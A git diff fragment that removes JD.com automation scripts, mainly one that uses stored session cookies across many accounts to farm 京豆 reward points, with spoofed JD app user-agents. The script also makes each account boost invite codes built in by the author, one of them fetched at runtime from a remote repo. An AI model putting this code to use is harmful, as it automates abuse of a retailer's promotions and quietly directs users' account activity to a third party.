- 'Accept-Encoding' : `gzip, deflate, br`, - 'Cookie' : cookie, - 'Content-Type' : `application/x-www-form-urlencoded;charset=UTF-8`, - 'Host' : `ms.jr.jd.com`, - 'Connection' : `keep-alive`, - 'User-Agent' : $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Referer' : dailyEggUrl, - 'Accept-Language' : `zh-cn` - } - } -} -function getClientData(fakerBody) { - return new Promise(resolve => { - const options = { - url: `https://gia.jd.com/fcf.html?a=${fakerBody.a}`, - body: `d=${fakerBody.d}`, - headers: { - "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`\n${JSON.stringify(arguments)}: API查询请求失败 ‼️‼️`) - throw new Error(err); - } else { - if (data.indexOf("*_*") > 0) { - data = data.split("*_*", 2); - data = JSON.parse(data[1]).eid; - } else { - console.log(`京东api返回数据为空,请检查自身原因`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data || ""); - } - }) - }) -} -function downloadUrl(url) { - return new Promise(resolve => { - const options = { - url, "timeout": 10000, followRedirect: false, headers: { - 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - } - }; - $.get(options, async (err, resp, data) => { - let res = "" - try { - if (err) { - console.log(`⚠️网络请求失败`); - } else { - res = data; - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(res); - } - }) - }) -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} - -String.prototype.getValByKey = function (str) { - const reg = new RegExp(`(^|\\?|&)${str}\=(.*?)(&|$)`) - let res = "" - if (reg.test(this)) { - res = this.match(reg)[2] - } - return res -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_digital_floor.js b/activity/jd_digital_floor.js deleted file mode 100644 index fd65641..0000000 --- a/activity/jd_digital_floor.js +++ /dev/null @@ -1,424 +0,0 @@ -/* -数码加购京豆 -脚本会给内置的码进行助力 -共计25京豆,一天运行一次即可 -活动时间:2020-12-4 到 2020-12-11 -活动入口:https://prodev.m.jd.com/mall/active/nKxVyPnuLwAsQSTfidZ9z4RKVZy/index.html#/ -更新地址:jd_digital_floor.js -已支持IOS双京东账号, Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js -============Quantumultx=============== -[task_local] -#数码加购京豆 -10 7 * * * jd_digital_floor.js, tag=数码加购京豆, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_redPacket.png, enabled=true - -================Loon============== -[Script] -cron "10 7 * * *" script-path=jd_digital_floor.js, tag=数码加购京豆 - -===============Surge================= -数码加购京豆 = type=cron,cronexp="10 7 * * *",wake-system=1,timeout=3600,script-path=jd_digital_floor.js - -============小火箭========= -数码加购京豆 = type=cron,script-path=jd_digital_floor.js, cronexpr="10 7 * * *", timeout=3600, enable=true - */ -const $ = new Env('数码加购京豆'); - -const notify = $.isNode() ? require('../sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; -let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 -const randomCount = $.isNode() ? 20 : 5; -const inviteCodes = [`40cd108f-9eed-4897-b795-45a5b221cd6b@49efb480-d6d7-456b-a4e0-14b170b161e0@`,'9d4262a5-1a02-4ae7-8a86-8d070d531464@687b14e0-ce0a-45eb-bf46-71aa0da05f18']; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://digital-floor.m.jd.com/adf/index/'; -!(async () => { - await requireConfig() - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await shareCodesFormat() - await jdDigitalFloor() - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) -async function jdDigitalFloor() { - $.bean = 0 - await helpFriends() - await getUserInfo() - await getTaskList() - await showMsg() -} -async function helpFriends() { - for (let code of $.newShareCodes) { - if (!code) continue - let res = await doSupport(code); - await $.wait(500) - if (res===5) { - // 助力次数已用完 - break - } - } -} -function doSupport(shareId) { - return new Promise(resolve => { - $.post(taskPostUrl('doSupport',`shareId=${shareId}`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.code === 200) { - console.log(`助力好友${shareId}成功`) - await supportCheck(shareId) - }else{ - console.log(`助力好友失败,${data.msg}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data.data); - } - }) - }) -} -function supportCheck(shareId) { - return new Promise(resolve => { - $.post(taskPostUrl('supportCheck',`shareId=${shareId}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.code === 200) { - console.log(`检查助力,助力好友${shareId}成功`) - }else{ - console.log(`检查助力失败,${data.msg}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function showMsg() { - return new Promise(resolve => { - $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); - resolve() - }) -} -function getUserInfo() { - return new Promise(resolve => { - $.get(taskUrl('shareInfo'), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.code === 200) { - $.shareId = data.data.shareId - console.log(`\n您的${$.name}好友助力邀请码:${data.data.shareId}\n`) - message += `\n您的${$.name}好友助力邀请码:${data.data.shareId}\n` - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getTaskList() { - return new Promise(resolve => { - $.get(taskUrl('indexInfo'), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.code === 200) { - const tasks = data.data - for(let i = 0; i < tasks.length; ++i){ - const task = tasks[i] - console.log(`去加购物车:${task['skuName']}`) - await browseSku(task['skuId']) - } - message += `共获得${$.bean}个京豆\n` - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getPrize(skuId) { - return new Promise(resolve => { - $.post(taskPostUrl('getPrize',`skuId=${skuId}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.code === 200) { - $.bean += data.data - console.log(`任务领奖成功,获得${data.data}个京豆`) - }else{ - console.log(`任务领奖失败,${data.msg}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function browseSku(skuId) { - return new Promise(resolve => { - $.post(taskPostUrl('browseSku',`skuId=${skuId}`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.code === 200) { - console.log(`任务领取成功`) - await $.wait(5000) - await getPrize(skuId) - } else{ - console.log(data) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -//格式化助力码 -function shareCodesFormat() { - return new Promise(async resolve => { - // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) - $.newShareCodes = []; - if ($.shareCodesArr[$.index - 1]) { - $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); - } else { - console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) - const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); - $.newShareCodes = inviteCodes[tempIndex].split('@'); - } - const readShareCodeRes = null //await readShareCode(); - if (readShareCodeRes && readShareCodeRes.code === 200) { - $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; - } - console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) - resolve(); - }) -} -function requireConfig() { - return new Promise(async resolve => { - await getAuthorShareCode() - console.log(`开始获取${$.name}配置文件\n`); - //Node.js用户请在jdCookie.js处填写京东ck; - const shareCodes = [] //$.isNode() ? require('./jdSplitShareCodes.js') : ''; - console.log(`共${cookiesArr.length}个京东账号\n`); - $.shareCodesArr = []; - if ($.isNode()) { - Object.keys(shareCodes).forEach((item) => { - if (shareCodes[item]) { - $.shareCodesArr.push(shareCodes[item]) - } - }) - } - console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); - resolve() - }) -} -function getAuthorShareCode() { - return new Promise(resolve => { - $.get({url: "https://cdn.jsdelivr.net/gh/shylocks/updateTeam@main/jd_digital_floor"}, async (err, resp, data) => { - try { - if (err) { - } else { - inviteCodes[0] = data.replace('\n', '') - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function taskPostUrl(function_id, body) { - return { - url: `${JD_API_HOST}${function_id}?t=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`, - body: body, - headers: { - 'Host': 'digital-floor.m.jd.com', - 'pragma': 'no-cache', - 'cache-control': 'no-cache', - 'accept': 'application/json, text/plain, */*', - 'dnt': '1', - 'content-type': 'application/x-www-form-urlencoded', - 'origin': 'https://pro.m.jd.com', - 'sec-fetch-site': 'same-site', - 'sec-fetch-mode': 'cors', - 'sec-fetch-dest': 'empty', - 'referer': 'https://pro.m.jd.com/', - 'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6', - 'Cookie': cookie, - 'user-agent': 'jdapp;iPhone;9.2.0;14.0;53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2;network/wifi;supportApplePay/3;hasUPPay/1;pushNoticeIsOpen/0;model/iPhone10,2;addressid/138413818;hasOCPay/0;appBuild/167408;supportBestPay/1;jdSupportDarkMode/0;pv/1710.16;apprpd/WorthBuy_List;ref/JDWebViewController;psq/2;ads/;psn/53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2|5870;jdv/0|kong|t_1000089893_|tuiguang|9a75f97593f344eb9c46b99e196608d2|1605846323;adk/;app_device/IOS;pap/JA2015_311210|9.2.0|IOS 14.0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1',} - } -} -function taskUrl(function_id) { - return { - url: `${JD_API_HOST}${function_id}?t=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`, - headers: { - 'Host': 'digital-floor.m.jd.com', - 'pragma': 'no-cache', - 'cache-control': 'no-cache', - 'accept': 'application/json, text/plain, */*', - 'dnt': '1', - 'content-type': 'application/x-www-form-urlencoded', - 'origin': 'https://pro.m.jd.com', - 'sec-fetch-site': 'same-site', - 'sec-fetch-mode': 'cors', - 'sec-fetch-dest': 'empty', - 'referer': 'https://pro.m.jd.com/', - 'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6', - 'Cookie': cookie, - 'user-agent': 'jdapp;iPhone;9.2.0;14.0;53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2;network/wifi;supportApplePay/3;hasUPPay/1;pushNoticeIsOpen/0;model/iPhone10,2;addressid/138413818;hasOCPay/0;appBuild/167408;supportBestPay/1;jdSupportDarkMode/0;pv/1710.16;apprpd/WorthBuy_List;ref/JDWebViewController;psq/2;ads/;psn/53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2|5870;jdv/0|kong|t_1000089893_|tuiguang|9a75f97593f344eb9c46b99e196608d2|1605846323;adk/;app_device/IOS;pap/JA2015_311210|9.2.0|IOS 14.0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1',} - } -} -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete 